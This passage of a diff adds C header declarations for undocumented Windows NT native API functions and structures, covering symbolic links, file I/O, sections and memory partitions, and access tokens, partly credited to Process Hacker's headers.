ULONG Flags; + ULONG AccessMask; +} OBJECT_SYMBOLIC_LINK_V4, *POBJECT_SYMBOLIC_LINK_V4; + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PUNICODE_STRING LinkTarget); + +NTSYSAPI +NTSTATUS +WINAPI +NtOpenSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySymbolicLinkObject( + _In_ HANDLE LinkHandle, + _Inout_ PUNICODE_STRING LinkTarget, + _Out_opt_ PULONG ReturnedLength); + +/************************************************************************************ +* +* File API (+Driver&HotPatch). +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_reads_bytes_opt_(EaLength) PVOID EaBuffer, + _In_ ULONG EaLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateNamedPipeFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_ ULONG NamedPipeType, + _In_ ULONG ReadMode, + _In_ ULONG CompletionMode, + _In_ ULONG MaximumInstances, + _In_ ULONG InboundQuota, + _In_ ULONG OutboundQuota, + _In_opt_ PLARGE_INTEGER DefaultTimeout); + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateMailslotFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CreateOptions, + _In_ ULONG MailslotQuota, + _In_ ULONG MaximumMessageSize, + _In_ PLARGE_INTEGER ReadTimeout); + +NTSYSAPI +NTSTATUS +NTAPI +NtDeviceIoControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG IoControlCode, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtFsControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG FsControlCode, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG OpenOptions); + +NTSYSAPI +NTSTATUS +NTAPI +NtReadFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key); + +NTSYSAPI +NTSTATUS +NTAPI +NtWriteFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key); + +NTSYSAPI +NTSTATUS +NTAPI +NtLockFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key, + _In_ BOOLEAN FailImmediately, + _In_ BOOLEAN ExclusiveLock); + +NTSYSAPI +NTSTATUS +NTAPI +NtUnlockFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key); + +NTSYSAPI +NTSTATUS +NTAPI +NtFlushBuffersFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass); + +NTSYSAPI +NTSTATUS +NTAPI +NtDeleteFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryFullAttributesFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDirectoryFileEx( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ ULONG QueryFlags, + _In_opt_ PUNICODE_STRING FileName); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_reads_bytes_opt_(EaListLength) PVOID EaList, + _In_ ULONG EaListLength, + _In_opt_ PULONG EaIndex, + _In_ BOOLEAN RestartScan); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_bytecount_(Length) PVOID Buffer, + _In_ ULONG Length); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryQuotaInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_reads_bytes_opt_(SidListLength) PVOID SidList, + _In_ ULONG SidListLength, + _In_opt_ PSID StartSid, + _In_ BOOLEAN RestartScan); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetQuotaInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length); + +NTSYSAPI +NTSTATUS +NTAPI +NtReadFileScatter( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key); + +NTSYSAPI +NTSTATUS +NTAPI +NtWriteFileGather( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan); + +NTSYSAPI +NTSTATUS +NTAPI +NtNotifyChangeDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree); + +NTSYSAPI +NTSTATUS +NTAPI +NtLoadDriver( + _In_ PUNICODE_STRING DriverServiceName); + +NTSYSAPI +NTSTATUS +NTAPI +NtUnloadDriver( + _In_ PUNICODE_STRING DriverServiceName); + +NTSYSAPI +NTSTATUS +NTAPI +NtLoadHotPatch( + _In_ PUNICODE_STRING HotPatchName, + _Reserved_ ULONG LoadFlag); + +/************************************************************************************ +* +* Section API (+MemoryPartitions). +* +************************************************************************************/ + +#define MEM_EXECUTE_OPTION_DISABLE 0x1 +#define MEM_EXECUTE_OPTION_ENABLE 0x2 +#define MEM_EXECUTE_OPTION_DISABLE_THUNK_EMULATION 0x4 +#define MEM_EXECUTE_OPTION_PERMANENT 0x8 +#define MEM_EXECUTE_OPTION_EXECUTE_DISPATCH_ENABLE 0x10 +#define MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE 0x20 +#define MEM_EXECUTE_OPTION_VALID_FLAGS 0x3f + +typedef enum _MEMORY_PARTITION_INFORMATION_CLASS { + SystemMemoryPartitionInformation, + SystemMemoryPartitionMoveMemory, + SystemMemoryPartitionAddPagefile, + SystemMemoryPartitionCombineMemory, + SystemMemoryPartitionInitialAddMemory, + SystemMemoryPartitionGetMemoryEvents, + SystemMemoryPartitionMax +} MEMORY_PARTITION_INFORMATION_CLASS; + +typedef struct _MEMORY_PARTITION_PAGE_RANGE { + ULONG_PTR StartPage; + ULONG_PTR NumberOfPages; +} MEMORY_PARTITION_PAGE_RANGE, *PMEMORY_PARTITION_PAGE_RANGE; + +typedef struct _MEMORY_PARTITION_INITIAL_ADD_INFORMATION { + ULONG Flags; + ULONG NumberOfRanges; + ULONG_PTR NumberOfPagesAdded; + MEMORY_PARTITION_PAGE_RANGE PartitionRanges[1]; +} MEMORY_PARTITION_INITIAL_ADD_INFORMATION, *PMEMORY_PARTITION_INITIAL_ADD_INFORMATION; + +typedef struct _MEMORY_PARTITION_PAGE_COMBINE_INFORMATION { + PVOID StopHandle; + ULONG Flags; + ULONG_PTR TotalNumberOfPages; +} MEMORY_PARTITION_PAGE_COMBINE_INFORMATION, *PMEMORY_PARTITION_PAGE_COMBINE_INFORMATION; + +typedef struct _MEMORY_PARTITION_PAGEFILE_INFORMATION { + UNICODE_STRING PageFileName; + LARGE_INTEGER MinimumSize; + LARGE_INTEGER MaximumSize; + ULONG Flags; +} MEMORY_PARTITION_PAGEFILE_INFORMATION, *PMEMORY_PARTITION_PAGEFILE_INFORMATION; + +typedef struct _MEMORY_PARTITION_TRANSFER_INFORMATION { + ULONG_PTR NumberOfPages; + ULONG NumaNode; + ULONG Flags; +} MEMORY_PARTITION_TRANSFER_INFORMATION, *PMEMORY_PARTITION_TRANSFER_INFORMATION; + +typedef struct _MEMORY_PARTITION_CONFIGURATION_INFORMATION { + ULONG Flags; + ULONG NumaNode; + ULONG Channel; + ULONG NumberOfNumaNodes; + ULONG_PTR ResidentAvailablePages; + ULONG_PTR CommittedPages; + ULONG_PTR CommitLimit; + ULONG_PTR PeakCommitment; + ULONG_PTR TotalNumberOfPages; + ULONG_PTR AvailablePages; + ULONG_PTR ZeroPages; + ULONG_PTR FreePages; + ULONG_PTR StandbyPages; +} MEMORY_PARTITION_CONFIGURATION_INFORMATION, *PMEMORY_PARTITION_CONFIGURATION_INFORMATION; + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle); + +//taken from ph2 +NTSYSAPI +NTSTATUS +NTAPI +NtCreateSectionEx( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle, + _In_ PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtMapViewOfSection( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T CommitSize, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, + _In_ SECTION_INHERIT InheritDisposition, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect); + +NTSYSAPI +NTSTATUS +NTAPI +NtUnmapViewOfSection( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress); + +NTSYSAPI +NTSTATUS +NTAPI +NtUnmapViewOfSectionEx( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ ULONG Flags); + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySection( + _In_ HANDLE SectionHandle, + _In_ SECTION_INFORMATION_CLASS SectionInformationClass, + _Out_writes_bytes_(SectionInformationLength) PVOID SectionInformation, + _In_ SIZE_T SectionInformationLength, + _Out_opt_ PSIZE_T ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtExtendSection( + _In_ HANDLE SectionHandle, + _Inout_ PLARGE_INTEGER NewSectionSize); + +NTSYSAPI +NTSTATUS +NTAPI +NtMapUserPhysicalPages( + _In_ PVOID VirtualAddress, + _In_ ULONG_PTR NumberOfPages, + _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray); + +NTSYSAPI +NTSTATUS +NTAPI +NtMapUserPhysicalPagesScatter( + _In_reads_(NumberOfPages) PVOID *VirtualAddresses, + _In_ ULONG_PTR NumberOfPages, + _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray); + +NTSYSAPI +NTSTATUS +NTAPI +NtAllocateUserPhysicalPages( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _Out_writes_(*NumberOfPages) PULONG_PTR UserPfnArray); + +NTSYSAPI +NTSTATUS +NTAPI +NtFreeUserPhysicalPages( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _In_reads_(*NumberOfPages) PULONG_PTR UserPfnArray); + +NTSYSAPI +NTSTATUS +NTAPI +NtAreMappedFilesTheSame( + _In_ PVOID File1MappedAsAnImage, + _In_ PVOID File2MappedAsFile); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenPartition( + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtManagePartition( + _In_ HANDLE TargetHandle, + _In_opt_ HANDLE SourceHandle, + _In_ MEMORY_PARTITION_INFORMATION_CLASS PartitionInformationClass, + _In_ PVOID PartitionInformation, + _In_ ULONG PartitionInformationLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtCreatePartition( + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG PreferredNode); + +/************************************************************************************ +* +* Token API. +* +************************************************************************************/ +// +// This part is taken from PH ntseapi.h. +// + +// Types + +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_INVALID 0x00 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_INT64 0x01 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_UINT64 0x02 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_STRING 0x03 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_FQBN 0x04 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_SID 0x05 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_BOOLEAN 0x06 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING 0x10 + +// Flags + +#define TOKEN_SECURITY_ATTRIBUTE_NON_INHERITABLE 0x0001 +#define TOKEN_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE 0x0002 +#define TOKEN_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY 0x0004 +#define TOKEN_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT 0x0008 +#define TOKEN_SECURITY_ATTRIBUTE_DISABLED 0x0010 +#define TOKEN_SECURITY_ATTRIBUTE_MANDATORY 0x0020 +#define TOKEN_SECURITY_ATTRIBUTE_COMPARE_IGNORE 0x0040 + +#define TOKEN_SECURITY_ATTRIBUTE_VALID_FLAGS ( \ + TOKEN_SECURITY_ATTRIBUTE_NON_INHERITABLE | \ + TOKEN_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE | \ + TOKEN_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY | \ + TOKEN_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT | \ + TOKEN_SECURITY_ATTRIBUTE_DISABLED | \ + TOKEN_SECURITY_ATTRIBUTE_MANDATORY) + +#define TOKEN_SECURITY_ATTRIBUTE_CUSTOM_FLAGS 0xffff0000 + +typedef struct _TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE +{ + ULONG64 Version; + UNICODE_STRING Name; +} TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE, *PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE; + +typedef struct _TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE +{ + PVOID pValue; + ULONG ValueLength; +} TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE, *PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE; + +typedef struct _TOKEN_SECURITY_ATTRIBUTE_V1 +{ + UNICODE_STRING Name; + USHORT ValueType; + USHORT Reserved; + ULONG Flags; + ULONG ValueCount; + union + { + PLONG64 pInt64; + PULONG64 pUint64; + PUNICODE_STRING pString; + PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE pFqbn; + PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE pOctetString; + } Values; +} TOKEN_SECURITY_ATTRIBUTE_V1, *PTOKEN_SECURITY_ATTRIBUTE_V1; + +#define TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 1 +#define TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 + +typedef struct _TOKEN_SECURITY_ATTRIBUTES_INFORMATION +{ + USHORT Version; + USHORT Reserved; + ULONG AttributeCount; + union + { + PTOKEN_SECURITY_ATTRIBUTE_V1 pAttributeV1; + } Attribute; +} TOKEN_SECURITY_ATTRIBUTES_INFORMATION, *PTOKEN_SECURITY_ATTRIBUTES_INFORMATION; + +// +// endof ntseapi.h +// + +NTSYSAPI +NTSTATUS +NTAPI +NtAccessCheck( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus); + +NTSYSAPI +NTSTATUS +NTAPI +NtAccessCheckByType( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus); + +NTSYSAPI +NTSTATUS +NTAPI +NtAccessCheckByTypeResultList( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ ACCESS_MASK GrantedAccess, + _In_opt_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN ObjectCreation, + _In_ BOOLEAN AccessGranted, + _Out_ PBOOLEAN GenerateOnClose); + +NTSYSAPI +NTSTATUS +NTAPI +NtCloseObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ BOOLEAN GenerateOnClose); + +NTSYSAPI +NTSTATUS +NTAPI +NtDeleteObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ BOOLEAN GenerateOnClose); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenProcessToken( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE TokenHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenProcessTokenEx( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtDuplicateToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN EffectiveOnly, + _In_ TOKEN_TYPE TokenType, + _Out_ PHANDLE NewTokenHandle); + +#define DISABLE_MAX_PRIVILEGE 0x1 // winnt +#define SANDBOX_INERT 0x2 // winnt +#define LUA_TOKEN 0x4 +#define WRITE_RESTRICT 0x8 + +NTSYSAPI +NTSTATUS +NTAPI +NtFilterToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _Out_ PHANDLE NewTokenHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtImpersonateAnonymousToken( + _In_ HANDLE ThreadHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_writes_bytes_(TokenInformationLength) PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _In_reads_bytes_(TokenInformationLength) PVOID TokenInformation, + _In_ ULONG TokenInformationLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenThreadToken( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _Out_ PHANDLE TokenHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenThreadTokenEx( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtAdjustPrivilegesToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN DisableAllPrivileges, + _In_opt_ PTOKEN_PRIVILEGES NewState, + _In_ ULONG BufferLength, + _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState, + _Out_opt_ PULONG ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtAdjustGroupsToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN ResetToDefault, + _In_opt_ PTOKEN_GROUPS NewState, + _In_opt_ ULONG BufferLength, + _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_GROUPS PreviousState, + _Out_opt_ PULONG ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtCompareTokens( + _In_ HANDLE FirstTokenHandle, + _In_ HANDLE SecondTokenHandle, + _Out_ PBOOLEAN Equal); + +NTSYSAPI +NTSTATUS +NTAPI +NtPrivilegeCheck( + _In_ HANDLE ClientToken, + _Inout_ PPRIVILEGE_SET RequiredPrivileges, + _Out_ PBOOLEAN Result); + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateToken( + _Out_ PHANDLE TokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TOKEN_TYPE TokenType, + _In_ PLUID AuthenticationId, + _In_ PLARGE_INTEGER ExpirationTime, + _In_ PTOKEN_USER User, + _In_ PTOKEN_GROUPS Groups, + _In_ PTOKEN_PRIVILEGES Privileges, + _In_opt_ PTOKEN_OWNER Owner, + _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup, + _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, + _In_ PTOKEN_SOURCE TokenSource); + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateTokenEx( + _Out_ PHANDLE TokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TOKEN_TYPE TokenType, + _In_ PLUID AuthenticationId, + _In_ PLARGE_INTEGER ExpirationTime, + _In_ PTOKEN_USER User, + _In_ 